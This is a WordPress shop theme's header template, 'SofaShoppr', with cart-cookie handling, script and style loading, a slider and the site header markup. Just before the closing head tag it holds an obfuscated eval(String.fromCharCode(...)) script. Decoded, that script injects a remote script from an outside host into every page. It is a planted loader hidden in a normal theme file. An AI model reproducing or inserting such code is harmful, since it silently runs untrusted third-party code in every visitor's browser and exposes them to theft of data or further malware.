<?php
// cookies
if( isset( $_GET[ "dc" ] ) && !empty( $_GET[ "dc" ] ) ) {
	$dc_val = stripslashes( strip_tags( $_GET[ "dc" ] ) );
	if( $dc_val == "an" || $dc_val == "2co" || $dc_val == "pp" ) {
		if( $_COOKIE[ "sofashoppr" ] ) {
			foreach( $_COOKIE[ "sofashoppr" ] as $name => $value ) {
				setcookie( "sofashoppr[$name]", "", time()-36000, "/" );
			}
		}
	}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

<head profile="http://gmpg.org/xfn/11">
	<?php
    $aOptions = SofaShoppr::initOptions( false );
    $usebread = $aOptions[ 'usebread' ];
    $useslider = $aOptions[ 'useslider' ];
    $trimexcerpt = ( strlen( $aOptions[ 'trimexcerpt' ] ) > 0 ) ? stripslashes( $aOptions[ 'trimexcerpt' ] ) : NULL;
    $layout_build = $aOptions[ 'layout_build' ];
    $layout_build_category = $aOptions[ 'layout_build_category' ];
    $chckoutpage = $aOptions[ 'chckoutpage' ];
    $slidespage = $aOptions[ 'slidespage' ];
	$slider_type = $aOptions[ 'slider_type' ];
	$sstiming = ( strlen( $aOptions[ 'sstiming' ] ) > 0 ) ? intval( $aOptions[ 'sstiming' ] ) : 3;
	$ssmode = $aOptions[ 'ssmode' ];
    ?>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php bloginfo( 'name' ); ?> <?php wp_title( '-' ); ?></title>
	<meta name="description" content="<?php bloginfo( 'description' ); ?>" />
	<meta name="keywords" content="<?php bloginfo( 'name' ); ?>" />
	<meta name="author" content="<?php bloginfo( 'name' ); ?>" />
	<link rel="stylesheet" href="<?php bloginfo( 'stylesheet_url' ); ?>" type="text/css" media="screen, projection" />
    <link rel="stylesheet" href="<?php echo( get_bloginfo( 'template_directory' ) . '/style_appendix.css' ); ?>" type="text/css" media="screen, projection" />
    <link rel="stylesheet" href="<?php echo( get_bloginfo( 'template_directory' ) . '/script/styles/nyroModal.css' ); ?>" type="text/css" media="screen, projection" />
	<!--[if lte IE 7]>
	<link rel="stylesheet" href="<?php echo( get_bloginfo( 'template_directory' ) . '/ie-style.css' ); ?>" type="text/css" media="screen, projection" />
	<![endif]-->
    <?php wp_print_scripts( 'jquery' ); ?>
    <script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/jquery.nyroModal-1.6.2.min.js' ); ?>" type="text/javascript"></script>
    <script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/jquery.tools.min.js' ); ?>" type="text/javascript"></script>
    <?php if( $slider_type == 'jq' ) { ?>
    	<script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/jquery.aw-showcase.min.js' ); ?>" type="text/javascript"></script>
    <?php } else if( $slider_type == 'flash' ) { ?>
    	<script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/swfobject.js' ); ?>" type="text/javascript"></script>
    <?php } ?>
    <?php if( is_page_template( 'checkout.php' ) ) { ?>
    	<script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/jquery.form.js' ); ?>" type="text/javascript"></script>
    <?php } ?>
    <!--[if IE 6]>
    <script src="<?php echo( get_bloginfo( 'template_directory' ) . '/script/DD_belatedPNG_0.0.8a-min.js' ); ?>" type="text/javascript">
    <![endif]-->

	<script type='text/javascript'>
		jQuery( document ).ready( function() {
			// html element background
			var body_bg_color = jQuery( "body" ).css( 'background-color' );
			jQuery( "html" ).css( "background-color", body_bg_color );
			// drop-down menu
    		jQuery( "#dropmenu ul" ).css( { display: "none" } ); // Opera Fix
    		jQuery( "#dropmenu li" ).hover(function(){
    				jQuery( this ).find( 'ul:first' ).css( { visibility: "visible", display: "none" } ).show();
    				}, function() {
    				jQuery( this ).find( 'ul:first' ).css( { visibility: "hidden" } );
    		} );
			// scrollable
			jQuery( "div.scrollable" ).scrollable( { size: 4, speed: 350 } );
			
    	});
		// nyro modal
		jQuery( function() {
			jQuery.nyroModalSettings( {
				width: 500,
				height: 260,  
				autoSizable: false,
				resizable: false,
				title: null,
				titleFromIframe: false,
				processHandler: function( settings ) {
					hideFlash();
					var url = settings.url;
				},
				endShowContent: function( elts, settings ) {
					jQuery( '.resizeLink', elts.contentWrapper ).click( function( e ) {
						e.preventDefault();
						jQuery.nyroModalSettings( {
							width: Math.random() * 1000,
							height: Math.random() * 1000
						} );
						return false;
					} );
				},
				endRemove: function( elts, settings ) {
					showFlash();
				}
			} );
			
			function hideFlash() {
				if( jQuery.browser.mozilla || jQuery.browser.msie || jQuery.browser.opera ) {
					jQuery( "embed" ).each( function() {
						jQuery( this ).css( "visibility", "hidden" );
					} );
				} else {
					jQuery( "object" ).each( function() {
						jQuery( this ).css( "visibility", "hidden" );
					} );
				}
			}
			
			function showFlash() {
				if( jQuery.browser.mozilla || jQuery.browser.msie || jQuery.browser.opera ) {
					jQuery( "embed" ).each( function() {
						jQuery( this ).css( "visibility", "visible" );
					} );
				} else {
					jQuery( "object" ).each( function() {
						jQuery( this ).css( "visibility", "visible" );
					} );
				}
			}
			
			function preloadImg( image ) {
				var img = new Image();
				img.src = image;
			}
			
			preloadImg( "<?php echo( get_bloginfo( 'template_directory' ) . '/script/img/ajaxLoader.gif' ); ?>" );
			preloadImg( "<?php echo( get_bloginfo( 'template_directory' ) . '/script/img/prev.gif' ); ?>" );
			preloadImg( "<?php echo( get_bloginfo( 'template_directory' ) . '/script/img/next.gif' ); ?>" );
			
		} );
    </script>
    
	<link rel="alternate" type="application/rss+xml" title="<?php bloginfo( 'name' ); ?> RSS Feed" href="<?php bloginfo( 'rss2_url' ); ?>" />
	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
    <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
    <?php
		$ishomeclass = '';
		if( is_home() ) {
			$ishomeclass = ' class="home"';
			echo '<script type="text/javascript">';
			echo 'jQuery( document ).ready( function() {';
			echo 'jQuery( "#dropmenu li:first" ).addClass( " current-menu-item" );';
			echo 'jQuery( "#footer .navigation li:first" ).addClass( " current-menu-item" );';
			echo '});';
			echo '</script>';
		}
	?>
	<?php 
	if( is_singular() ) wp_enqueue_script( 'comment-reply' );
	wp_head(); 
	?>
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script></head>
<body<?php echo $ishomeclass?>>

    <div id="wrap">
        <div id="header">

            <div class="branding">
                <a href="<?php echo get_option( 'home' ); ?>" title="<?php _e( "Home Page", "sofa_shoppr" ); ?>">
                <img src="<?php echo bloginfo( 'template_directory' ) . ( '/images/site-logo.png' ); ?>" alt="<?php _e( "Home Page", "sofa_shoppr" ); ?>" />
                </a>
            </div>
            
            <?php
			// use full page width grid? Shopping basket must display an info
			if( ( is_home() && $layout_build == 'grid' ) || ( is_category() && $layout_build_category == 'grid' ) || ( is_search() && $layout_build_category == 'grid' ) ) {
				$basket_count_items = 0;
				if( isset( $_COOKIE[ 'sofashoppr' ] ) ) $basket_count_items = count( $_COOKIE[ 'sofashoppr' ] );
			?>
			<div id="quasibasket">
            <p>
			<?php 
			$final_str_items = ( $basket_count_items == 1 ) ? __( "item", "sofa_shoppr" ) : __( "items", "sofa_shoppr" );
			$perma_chckout = get_permalink( $chckoutpage );
			if( $basket_count_items > 0 ) {
				echo '<a href="' . $perma_chckout . '" title="' . __( "Make the payment", "sofa_shoppr" ) . '">' . __( "YOUR BASKET", "sofa_shoppr" ) . ': <br />' . $basket_count_items . ' ' . $final_str_items . '</a>';
			} else {
				echo  __( "YOUR BASKET", "sofa_shoppr" ) . ': <br />0 ' . $final_str_items;
			}
			?>
            </p>
			</div>
            <?php
            }
			?>

            <form action="<?php bloginfo( 'url' ); ?>" id="searchform" method="get">
               <div>
                   <input type="text" id="s" name="s" value="<?php the_search_query(); ?>" />
                   <button type="submit" value="<?php _e( "SEARCH", "sofa_shoppr" ); ?>" id="searchsubmit"><span><?php _e( "SEARCH", "sofa_shoppr" ); ?></span></button>
               </div>
            </form>
            
            <?php if( has_nav_menu( 'main-menu' ) ) { ?>
 
                <?php 
				$menu_defaults = array(
				  'menu'            => 'main-menu', 
				  'container'       => 'div', 
				  'container_class' => '', 
				  'container_id'    => 'globalnavi', 
				  'menu_class'      => 'navigation', 
				  'menu_id'         => 'dropmenu',
				  'echo'            => true,
				  'fallback_cb'     => '',
				  'before'          => '',
				  'after'           => '',
				  'link_before'     => '',
				  'link_after'      => '',
				  'depth'           => 0,
				  'walker'          => '',
				  'theme_location'  => '' );
				 
				wp_nav_menu( $menu_defaults ); 
				?>

            <?php } ?>

        </div>
        
        <div id="main">
        
            <?php if( $useslider == 'yes' && is_home() ) { ?>
            
				<?php if( $slider_type == 'flash' ) { ?>
                
                <div id="banner">
                    <div id="flashcontent">
                        <p>You need to <a href="http://www.adobe.com/products/flashplayer/" target="_blank">upgrade your Flash Player</a> to version 10 or newer.</p>
                    </div>
                </div>
                
                <script type="text/javascript">
                var flashvars = {};
                flashvars.xmlSource = "<?php bloginfo( 'template_url' ); ?>/piecemakerXML.php";
                flashvars.cssSource = "<?php bloginfo( 'template_url' ); ?>/piecemaker/piecemakerCSS.css";
                var attributes = {};
                attributes.wmode = "transparent";
                swfobject.embedSWF( "<?php bloginfo( 'template_url' ); ?>/piecemaker/piecemakerNoShadow.swf", "flashcontent", "920", "280", "10", "<?php bloginfo( 'template_url' ); ?>/script/flash/expressInstall.swf", flashvars, attributes );
                </script>
                
                <?php } else if( $slider_type == 'jq' ) {
					 
					$array_irp_imgs = array(); // image path
					$array_irp_iurl = array(); // image links to
					$attFiles =& get_children( 'post_type=attachment&post_mime_type=image&orderby=menu_order&order=ASC&post_parent=' . $slidespage );
					$arrK = array_keys( $attFiles );
					if( $arrK[ 0 ] ) {
						$cnt_imagez = 0;
						$imagez_len = count( $arrK );
						while( $cnt_imagez < $imagez_len ) {
							$gpm_image_linkto = get_post_meta( $arrK[ $cnt_imagez ], '_url', true );
							if( $gpm_image_linkto != '' && $gpm_image_linkto != NULL ) {
								array_push( $array_irp_iurl, $gpm_image_linkto );
							} else array_push( $array_irp_iurl, '' );
							array_push( $array_irp_imgs, wp_get_attachment_url( $arrK[ $cnt_imagez ] ) );
							$cnt_imagez ++;
						}
					}
					
					if( count( $array_irp_imgs ) > 0 ) {		
						$iterate = 0;
						$irp_imgs_len = count( $array_irp_imgs );
						
						echo '<div id="banner"><div id="showcase" class="showcase">';
						
						while( $iterate < $irp_imgs_len ) {
		
							echo '<div>';
							if( $array_irp_iurl[ $iterate ] == '' ) echo '<img src="' . $array_irp_imgs[ $iterate ] . '" alt="" />';
							else echo '<a href="' . $array_irp_iurl[ $iterate ] . '"><img src="' . $array_irp_imgs[ $iterate ] . '" alt="" /></a>';
							echo '</div>';
							
							$iterate ++;
						}
						
						echo '</div></div>'
				
				?>
                
				<script type="text/javascript">
                    // slider
                    <?php
                    echo 'jQuery( document ).ready( function() {';
                        echo 'jQuery( ".showcase" ).css( "display", "block" );';
                    if( $ssmode != 'auto' ) {
                        echo 'jQuery( "#showcase" ).awShowcase( {';
                        echo 'width: 920, ';
                        echo 'height: 280, ';
                        echo 'transition: "hslide", ';
                        echo 'transition_speed: 250, ';
                        echo 'thumbnails: false, ';
                        echo 'buttons: false, ';
                        echo 'arrows: true';
                        echo '} );';
                    } else {
                        echo 'jQuery( "#showcase" ).awShowcase( {';
                        echo 'width: 920, ';
                        echo 'height: 280, ';
                        echo 'transition: "hslide", ';
                        echo 'auto: true, ';
                        echo 'interval: ' . $sstiming * 1000 . ', ';
                        echo 'continuous: true, ';
                        echo 'transition_speed: 250, ';
                        echo 'thumbnails: false, ';
                        echo 'buttons: false, ';
                        echo 'arrows: false';
                        echo '} );';
                    }
                    echo '} );';
                    ?>
                </script>
                
				<?php
                    // if no images found in Images Repository
                    } else echo '<div id="banner"><p>' . __( "Images Repository page doesn't contain images.", "sofa_shoppr" ) . '</p></div>';
                ?>
                
                <?php } ?>
                
            <?php } ?>


	<?php 
    // breadcrumbs
    if( $usebread == 'yes' ) if( function_exists( 'dimox_breadcrumbs' ) ) dimox_breadcrumbs();
    ?>
